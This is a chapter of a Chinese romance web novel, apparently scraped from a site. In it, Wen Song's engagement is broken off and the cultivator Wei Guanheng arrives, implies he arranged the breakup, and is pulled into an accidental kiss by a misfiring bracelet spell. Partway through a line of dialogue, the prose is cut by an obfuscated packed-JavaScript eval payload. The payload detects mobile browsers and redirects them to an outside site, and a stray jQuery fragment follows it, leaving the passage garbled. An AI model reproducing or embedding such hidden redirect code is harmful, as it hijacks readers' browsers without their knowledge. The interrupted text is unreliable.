24. 第 24 章

作品:《合作对象他想攻略我?

    “什么!?”


    听到这个消息,小柚比文淞还要激动,她一拍桌子,倏地便站了起来,面上满是不可置信。


    她一直觉得风公子和少主同行,定是有感情的,难道她错了么?


    不,她不相信!!


    小梨攥了攥掌心,上前一步拉住那侍女的衣袖,不死心地问道:“你说的是真的?”


    那小侍女没想到小柚的反应会这样大,哆哆嗦嗦地点点头:“是,是啊,不知发生何事,风二公子在昨日忽然晕倒了,一个时辰前才刚刚醒过来,嘴里还说什么就算吊死也不要娶我们家少主。”


    “如今,正在他们风家的正厅里拿着截粗绳闹呢。”


    说完这话,她抬起头悄悄观察着自家少主的反应,见文淞面上毫无波澜,甚至还懒懒地打了个哈欠,她有些诧异。


    发生了这样的事,少主为何还这么淡定,不怕外面人说闲话么?


    紧接着,耳边传来一阵呜呜的哭泣声,还没反应过来,便见刚刚还气势十足的小柚捂着脸跑了出去。


    ?


    看着那道离开的背影,她的心底有很多疑问。


    是少主被悔婚,她怎么一副被辜负了的模样?


    “正主be了,她这反应也正常,你去看着她点,别让她做傻事。”


    她耳边传来懒洋洋的声音,虽然心里有一堆疑问,但既然少主发话了,她也只好按对方的话做。


    打发了两人,文淞开心起身,连衣服都没换,径直地扑向自己的床。


    好了,如今天塌了都没有她的觉重要。


    顾不上文夫人和风听舟那边一堆乱七八糟的事,文淞闭着眼,沉沉地进入梦乡。


    她做了一个很奇怪的梦。


    自己身处熟悉的房间,周遭和现实一样,被布置成了喜庆的红色,而她穿着昨日梦里的那身鲜红的嫁衣,正端坐在床上,面上带着她不曾展露出来的娇羞与窃喜。


    像是在等待着什么人。


    不是吧!!


    文淞天都要塌了。


    难道潜意识里,她还是希望自己能够和风听舟成婚么?


    她拍了拍脸颊,强迫自己冷静下来。


    不,不对,这是她自己的房间,若是成亲,她还得经过许多程序……


    正胡思乱想之际,门忽然被吱呀一声拉开了,一个出乎意料的人出现在她面前。


    看清那张冷峻清瘦的脸,文淞的眉心跳了跳,心中的慌乱比刚刚只增不少。


    是梦境之中仅有过一面之缘的卫初,他身上穿着火红的嫁衣,绿眸之中是灼灼的喜色。


    她僵直着身子,心脏狂跳起来。


    罪过罪过,她竟然对一个死去很久的人,抱有这样的心思。


    更何况,这还是享誉百年盛名,被修真界人人尊崇着的卫小公子。


    文淞的双手死死捏着衣袖,心中不断默念着驱鬼术。


    “阿淞……”


    她的耳边有点发热,暧昧的低语如同羽毛般扫过她的脖颈,让她全身上下都颤栗起来。


    卫初凑了过来,感受到逐渐接近自己的那只手正要勾住她的发丝,文淞下意识地站起身,一把将人推开,向旁边退了退。


    “失礼失礼,您大人有大量,我不是故意的啊!”


    在少年有些愕然的目光中。


    “咚!”


    她从床上跌了下来。


    头晕脑胀地呲着牙,她瞬间清醒过来,再抬首,一只白净好看的手已经伸到面前。


    “谢——”


    文淞的话说了一半,便顿住了,愕然地看着眼前人。


    不是风听舟,也不是卫初。


    本该在冥灵谷的卫观珩正站在她面前,弯着腰温笑着将她拉起来。


    原来刚刚是在做梦……


    还来不及庆幸,文淞站定后面露惊诧。


    “你怎么在这?”


    以卫观珩的实力,瞒过文家众人来到这里自然不是什么费劲且令人奇怪的事。


    但她已经说过,三日后她便会赶回去。


    文淞不理解,泽州离冥灵谷有着几千公里的距离,他大费周章地来到这里,是发生了什么重要的事。


    难道大喜之日,他想要讨两杯喜酒?


    收回思绪,她自顾自地走到桌前,为自己和卫观珩沏了两杯茶。


    熟悉的清润声音响起。


    “今日是文淞你大婚,我是为了自己而来。”


    文淞想要递出茶盏的手顿了顿。


    她在脑中预设了许多回答,怎么都想不到是这样。


    她和风听舟成婚和卫观珩有什么关系啊?


    “能告诉我为什么吗?”


    文淞鬼使神差地问出声。


    只不过话音刚落,她的眸底划过几分懊悔。


    万一等会他给出一个让两人尴尬的回答,那就不好了,比如他是想抢婚什么的……


    文淞心虚地抬眼望向青年。


    果卫观珩面上并没有半分被试探的不耐,他的神色依旧平静沉着,青眸之中像是掩了层薄薄的云雾,让人难以读懂他的想法。


    注意到文淞打量过来的目光,他弯了弯眼睛,竟然从中透露出些许少见的欢欣。


    “啊,这都是因为我迫不及待地想带文淞你离开。”


    竟然真的是这样么!!!


    文淞在心底发出了尖锐爆鸣声。


    “本来以为文淞你喜欢风公子。”


    卫观珩的语调微微上扬,文淞心中警铃大作。


    “但后来发现这完全是个误会,果然,文淞你怎么可能会喜欢像风听舟那样的蠢货。”


    逻辑混乱的话让文淞的大脑宕机,还没有反应过来,便听他再次喃喃起来。


    “文淞,我帮你解决了一个你不喜欢的麻烦呢。”


    ?


    青年的话明显比以往都要多,还俨然一副求赞赏的模样。


    注视着那双因兴奋而深沉了几分的青眸,文淞的心底生出些许古怪来。


    解决?


    难道风听舟的事,是他做的?


    而且,她不喜欢风听舟,他那么兴奋做什么?


    理清刚刚那番话的逻辑,文淞犹豫两秒,便试探着开口了。


    “卫观珩……你莫不是喜欢我?”


    此话一出,卫观珩的笑瞬间凝固在脸上,好久之后,那双青眸之中流露出几分迷茫。


    “你为何会如此觉得呢?文淞。”


    他伸手想要接过文淞手中的茶盏,文淞将手往前伸了伸,却没说话。


    “喜欢或爱是最浅显且没用的事,就像风公子,他喜欢你,仅仅是因为你多次出手相救。”


    “但只要面对生命和自由的威胁,这种喜欢不也就荡然无存了。”


    文淞察觉到落在茶盏上的那只手微微擦过她的指尖,不由地缩了缩。


    许久后,她听到一声轻叹,像是轻风,缓缓落入她的耳朵。


    “可我不一样,文淞。”


    “我不会喜欢或者爱上你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957411|193192||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,但愿意为了你做任何事。”


    像是宣誓般的话语让文淞的身体僵住,心底似乎被投入了一块小小的石子,泛起圈圈的涟漪。


    她的手一抖,手中的茶盏几近要落下去,正在这时,周身忽然散发出一种陌生的力量,稳稳地控制住了茶盏,让它停在半空。


    文淞愕然,她的袖间传出烫意,昨日小梨送来的那只玉镯正散发着丝丝缕缕的绿光。


    下一秒,她感觉自己的身体被什么力量牵引着飘到半空,又快速向前。


    砸到一身白衣的男子身上,并与其双唇相贴时,文淞大脑轰鸣,耳边传来啪嗒一声。


    浮在空中的茶盏落地,碎了。


    果然,这就是狂热的cp粉吗?


    文淞绝望地向后退了一步,想起小梨递给她玉镯时过于怪异的表情,还有上方两个字,瞬间便明白了这是怎么回事。


    这是个半成的术法,只要同时念出刻在施法物体上的名字,便会将二人的身体吸引到一起,完整的术法应当是两人同时念出对方的名字才会生效,但想必小梨学艺不精,卫观珩刚刚话中提了她和风听舟,那术法应该是因此便被错误地触发了。


    好尴尬。


    刚刚对方还在说什么不喜欢自己,如今她这番行为,倒像是爱而不得,不得不强吻上去。


    一想到这点,文淞就不敢抬头,恨不得立刻找个地缝钻下去。


    只不过卫观珩也没开口,空气中的静默让那种别扭感更加明显,她在心中思忖,还是决定解释一番。


    既然对方对她无意,想必三言两语便能解除误会。


    文淞从袖中掏出那只碧绿的镯子,鼓起勇气抬起头。


    “我,我不是……”


    只是目光在触及到卫观珩像是惊呆了怔愣僵直的双眸,以及耳根处微微泛起的红晕时,她解释的话瞬间吞了下去。


    ?


    还是头一次见到淡然从容的青年露出这副神色,文淞也有些无措,她的视线上下乱瞟着,不知该看哪里。


    但是这目光落到卫观珩眼中便成了像是审视一样的打量,他的耳根一热,那抹红晕越发浓艳,最后几近要飘到双颊。


    心中像是有无数金色灵力击打着鼓点,震荡着,上下起伏着。


    他不清楚自己到底是怎么了,偶尔不小心触及到文淞眼神的瞬间,那鼓点便会更加杂乱密集,让他有些喘不上气,连大脑之中不断响起的尖叫声都忽视了。


    文淞强迫自己平复心神,刚想再次开口解释,身旁忽然刮起一阵狂风。


    她怔愣地眨眨眼,回过神后,眼前已经空无一人。


    卫观珩被她气跑了?


    文淞想到那抹几近艳丽的红,有些懊恼地拍拍脑袋。


    可不是嘛,脸都气成猪肝色了。


    那他万一不帮她找不烬骨了怎么办?


    她盯着门外初升的太阳发起呆,但很快,原本被气走的人又迎着日光走了回来。


    看样子神色比刚刚平和得多,像是恢复了往日的模样,只是一向干净整洁的白衣上沾染了些许新鲜的血。


    他沉默着,快速走向前,见到那几滴血,文淞警惕地向后退,紧接着,失重感传遍全身。


    回过神后,她已经出现在文家的墙顶上,不知从何处传来一声弟子的嚎叫。


    “哪个天杀的把我捉来祭剑的魔物杀了!”


    文淞扭头,看向一旁的罪魁祸首,信誓旦旦地开口了:“你放心,卫观珩,我对你绝对没有什么非分之想。”